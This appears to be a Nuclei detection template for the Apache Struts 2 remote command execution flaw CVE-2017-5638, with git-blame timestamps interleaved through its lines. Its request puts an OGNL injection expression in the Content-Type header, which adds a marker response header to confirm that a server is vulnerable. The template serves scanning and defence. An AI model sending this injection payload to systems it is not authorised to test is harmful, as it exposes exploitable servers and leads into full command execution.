2021-01-02 05:02:50 +00:00
id : CVE-2017-5638
2022-04-22 10:38:41 +00:00
2020-08-19 13:13:31 +00:00
info :
2022-04-29 19:58:07 +00:00
name : Apache Struts 2 - Remote Command Execution
2022-04-22 10:38:41 +00:00
author : Random_Robbie
2020-08-19 13:13:31 +00:00
severity : critical
2022-04-29 19:58:07 +00:00
description : Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/mazen160/struts-pwn
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-5638
2022-05-17 09:18:12 +00:00
- https://isc.sans.edu/diary/22169
- https://github.com/rapid7/metasploit-framework/issues/8064
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2022-05-17 09:18:12 +00:00
cvss-score : 10
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-5638
cwe-id : CWE-20
2022-06-01 21:31:44 +00:00
tags : cve,cve2017,struts,rce,apache,cisa
2020-08-19 13:13:31 +00:00
requests :
- raw :
- |
2021-08-19 14:44:46 +00:00
GET / HTTP/1.1
Host : {{Hostname}}
Accept-Charset : iso-8859-1,utf-8;q=0.9,*;q=0.1
Content-Type : %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
Accept : image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
2020-08-19 13:13:31 +00:00
matchers :
- type : word
words :
2020-08-30 04:14:52 +00:00
- "X-Hacker: Bounty Plz"
2022-01-25 19:38:53 +00:00
part : header
2022-04-29 19:58:07 +00:00
# Enhanced by mp on 2022/04/26